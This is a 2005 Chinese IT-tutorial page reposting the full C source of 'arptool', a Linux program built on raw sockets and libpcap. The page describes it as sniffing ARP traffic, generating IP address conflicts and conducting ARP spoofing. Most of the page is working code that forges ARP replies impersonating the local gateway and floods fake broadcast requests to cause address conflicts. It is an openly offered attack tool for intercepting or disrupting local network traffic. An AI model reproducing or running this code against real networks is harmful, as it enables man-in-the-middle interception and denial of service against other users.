中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档 | 网通镜像
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > 编程语言 > C/C++
arp protocol tool
作者:未知 时间:2005-09-13 23:28 出处:Blog.ChinaUnix.net 责编:chinaitpower
              摘要:arp protocol tool
  arp protocol tool that can be used to sniff arp req,generate ip address confliction,conducting arp spoof!

/*
 *     arptools : address resolusion protocol toolkit
 *     author   : rootclown <rootclown@163.com>
 *     creation : 2005/7/27     
 *     compile  : gcc arptool.c -o arptool -lpcap
 */
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/ioctl.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<asm/types.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<linux/if_arp.h>
#include<signal.h>
#include<pcap.h>
#include<stdio.h>

/*
 *    arp data following the arp header
 */

struct arpdata
{
    u_char smac[6];
    u_char sip[4];
    u_char dmac[6];
    u_char dip[4];
};

void sniff_arp(void);
void prepare_arg(void);
void get_packet_sock();
void do_arp();
void get_reply();
void sig_alrm(int);
void usage();
void err_quit();
void handler(u_char *, const struct pcap_pkthdr *,const u_char *);
void analyze_reply(int,int *);

int aflag=0;    /* act as an arp protocol analyzer */
int cflag=0;    /* generate ip address collision */
int qflag=0;    /* make arp request */
int sflag=0;    /* arp spoof */
int sflag_save=0;

char *target;
int sock;
struct sockaddr_ll sll;
u_char my_mac[6],target_mac[6];
struct in_addr myip;

struct ethhdr *eth;
struct arphdr *arp;
struct arpdata *ad;
char buf[1024];

main(int argc,char *argv[])
{
    extern char *optarg;
    extern int opterr;
    int c;
    
    if(argc!=2&&argc!=3)
    {
        usage();
        exit(0);
    }
    opterr=0;
    while((c=getopt(argc,argv,"ac:q:s:"))!=EOF)
    {
        switch(c)
        {
            case 'a':
                aflag=1;
                break;
            case 'c':
                cflag=1;
                target=optarg;
                break;
            case 'q':
                qflag=1;
                target=optarg;
                break;
            case 's':
                sflag=1;
                qflag=1;
                target=optarg;
                break;
            default:
                usage();
                exit(0);
        }
    }
    if(aflag)
        sniff_arp();
    else
    {
        memset(buf,0,1024);
        eth=(struct ethhdr *)buf;
        arp=(struct arphdr *)(eth+1);
        ad=(struct arpdata *)(arp+1);
    }
    /* use packet socket to construct the ethernet frame*/
    get_packet_sock();
    /* fill all field of the eth frame necessary*/
    prepare_arg();
    /* send out the eth frame*/
    do_arp();
    /* we pause there wait for the timer,set in do_arp()*/
    if(cflag)
    {
        struct sigaction sa;

spoof:             memset(&sa,0,sizeof(struct sigaction));
        sa.sa_handler=sig_alrm;
        sigaction(SIGALRM,&sa,NULL);
        while(1)
            pause();
    }
    else
    {
        u_char *p;
        get_reply();
//        p=target_mac;
//        printf("%X:%X:%X:%X:%X:%X\n",p[0],p[1],p[2],p[3],p[4],p[5]);

               
        if(sflag_save)
        {
            cflag=0;
            qflag=0;
            sflag=2;
            /* prepare arg again for spoof*/
            prepare_arg();
            do_arp();
            goto spoof;
        }
        p=target_mac;
        printf("%X:%X:%X:%X:%X:%X\n",p[0],p[1],p[2],p[3],p[4],p[5]);
       
    }
}

/*
 *    the ethernet frame constructor
 */
   
void prepare_arg(void)
{
    u_char *bcast="\xff\xff\xff\xff\xff\xff";
    u_char *fake_mac="\xaa\xbb\xcc\xdd\xee\xff";
   

    if(sflag==1)
    {
        sflag_save=1;
        sflag=0;
    }
    else if(sflag==2)
    {
        char *ip;
        char *p;
        char tail[]="1";
        struct in_addr gateway;
       
        memcpy(eth->h_dest,target_mac,6);
        memcpy(eth->h_source,fake_mac,6);
       
        memcpy(ad->smac,fake_mac,6);
        if(!(ip=inet_ntoa(myip)))
            err_quit("inet_ntoa");
        if(!(p=strrchr(ip,'.')))
            err_quit("strrchr bad ip addr");
        *++p='';
        /*assume that if your ip is 192.168.11.22,the gateway's ip address is 192.168.11.1*/
        strcat(ip,tail);
        if(!inet_aton(ip,&gateway))
            err_quit("inet_aton");
        memcpy(ad->sip,&gateway,4);
        memcpy(ad->dmac,target_mac,6);
        if(!inet_aton(target,&gateway))
            err_quit("inet_aton");
        memcpy(ad->dip,&gateway,4);
        arp->ar_op=htons(ARPOP_REPLY);   
    }
    eth->h_proto=htons(ETH_P_ARP);
    arp->ar_hrd=htons(ARPHRD_ETHER);
    arp->ar_pro=htons(ETH_P_IP);
    arp->ar_hln=6;
    arp->ar_pln=4;
    if(cflag)
    {
        struct in_addr ip;
       
        memcpy(eth->h_dest,bcast,6);
        memcpy(eth->h_source,fake_mac,6);
       
        arp->ar_op=htons(ARPOP_REQUEST);

        memcpy(ad->smac,fake_mac,6);
        memcpy(ad->dmac,bcast,6);
        printf("target=%s\n",target);
        if(!inet_aton(target,&ip))
            err_quit("inet_aton");
        memcpy(ad->sip,&ip,4);
        memcpy(ad->dip,&ip,4);
    }
    else if(qflag)
    {
        int s;
        struct ifreq ifr;
        char *dev="eth0";
        struct in_addr addr;
        u_char *p;
       
        memcpy(ifr.ifr_name,dev,4);
        ifr.ifr_name[4]='';
        if((s=socket(AF_INET,SOCK_DGRAM,0))<0)
            err_quit("socket");
        if(ioctl(s,SIOCGIFADDR,&ifr)<0)
            err_quit("ioctl");
        memcpy(&myip,&((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr,4);
        memcpy(ad->sip,&myip,4);
        if(!inet_aton(target,&addr))
            err_quit("inet_aton");
        memcpy(ad->dip,&addr,4);
        memcpy(eth->h_dest,bcast,6);
        memcpy(eth->h_source,my_mac,6);
        p=my_mac;
        memcpy(ad->smac,my_mac,6);
        arp->ar_op=htons(ARPOP_REQUEST);
        close(s);
       
    }
   
}
/*
 *     use pcap to capture
 * */
void sniff_arp(void)
{
    pcap_t *cap;
    __u32 net,mask;
    struct bpf_program fcode;
    char *dev="eth0";
    char *filter="arp";
    char errbuf[PCAP_ERRBUF_SIZE];
   
    if(!(cap=pcap_open_live(dev,2048,1,500,errbuf)))
        err_quit("pcap_open_live");
    if(pcap_lookupnet(dev,&net,&mask,errbuf)<0)
        err_quit("pcap_lookupnet");
    if(pcap_compile(cap,&fcode,filter,0,mask)<0)
        err_quit("pcap_compile");
    if(pcap_setfilter(cap,&fcode)<0)
        err_quit("pcap_setfilter");
    pcap_loop(cap,-1,handler,NULL);
}
/*
 *      our root use switch to connect to the outside world,so I can not get
 *    anything except the one send to broadcast address,so do net care arp
 *    reply
 */
void handler(u_char *user, const struct pcap_pkthdr *hdr,const u_char *pack)
{
    struct ethhdr *eth;
    struct arphdr *arp;
    struct arpdata *ad;
    struct in_addr sip,dip;
   
    eth=(struct ethhdr *)pack;
    arp=(struct arphdr *)(eth+1);
    ad=(struct arpdata *)(arp+1);

    memcpy(&sip,ad->sip,4);
    memcpy(&dip,ad->dip,4);

    printf("arp who has ");
    printf("%s ",inet_ntoa(dip));
    printf("tell %s\n",inet_ntoa(sip));
}

void do_arp(void)
{
    int len;
   
    len=sizeof(struct ethhdr )+sizeof(struct arphdr )+sizeof(struct arpdata)+18;
    if((sendto(sock,buf,len,0,(struct sockaddr *)&sll,
                    sizeof(struct sockaddr_ll)))!=len)
        err_quit("sendto");
    /* the timer is set here*/
    if(cflag||sflag)
        alarm(1);
}
/*
 *    get the arp reply,please note the bind() system call
 */
void get_reply(void)
{
    int len;
    int done=0;
   
    len=sizeof(struct sockaddr_ll);
    sll.sll_protocol=htons(ETH_P_ARP);
    if(bind(sock,(struct sockaddr *)&sll,sizeof(struct sockaddr_ll)))
        err_quit("bind");
    while(!done)
    {
        memset(buf,0,1024);
        if((len=recvfrom(sock,buf,1024,0,(struct sockaddr *)&sll,&len))<0)
            err_quit("recvfrom");
   
        analyze_reply(len,&done);
    }
   
}
void analyze_reply(int len,int *done)
{
    struct ethhdr *ep;
    struct arphdr *ap;
    struct arpdata *adp;
    struct in_addr sip,dip;
   
    ep=(struct ethhdr *)buf;
    if(memcmp(ep->h_dest,my_mac,6))
        return;
    if(ep->h_proto!=htons(ETH_P_ARP))
        return;
    ap=(struct arphdr *)(ep+1);
    if(ap->ar_op!=htons(ARPOP_REPLY))
        return;
    adp=(struct arpdata *)(ap+1);
    if(memcmp(adp->dip,&myip,4))   
        return;
    /*boring!!!*/
    memcpy(target_mac,adp->smac,6);
    *done=1;
}
   
/*
 *    PF_PACKET  !!
 *    please see man packet if you do not have any idea about this code
 */   
void get_packet_sock(void)
{
    struct ifreq ifr;
    char *dev="eth0";
    u_char *p;
   
    if((sock=socket(PF_PACKET,SOCK_RAW,0))<0)
        err_quit("socket");
    memset(&sll,0,sizeof(struct sockaddr_ll));
    memset(&ifr,0,sizeof(struct ifreq));
    strncpy(ifr.ifr_name,dev,4);
    ifr.ifr_name[4]='';
    if(ioctl(sock,SIOCGIFINDEX,&ifr)<0)
        err_quit("ioctl index");
    sll.sll_ifindex=ifr.ifr_ifindex;
    if(ioctl(sock,SIOCGIFHWADDR,&ifr)<0)
        err_quit("ioctl hwaddr");
    memcpy(sll.sll_addr,ifr.ifr_hwaddr.sa_data,6);
    memcpy(my_mac,sll.sll_addr,6);
    p=sll.sll_addr;
    sll.sll_family=AF_PACKET;
    sll.sll_halen=6;
}
void sig_alrm(int signo)
{
    do_arp();
}
void usage(void)
{
    printf("\n\tarptools:misc function using arp protocol\n \
        usage:arptools [a:c:q:s] target-ip\n\
        -a : arp protocol analyzer\n\
        -c : generate ip address collision\n\
        -q : send arp request\n\
        -s : arp spoof\n");
}
void err_quit(char *p)
{
    perror(p);
    exit(1);
}
 

关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有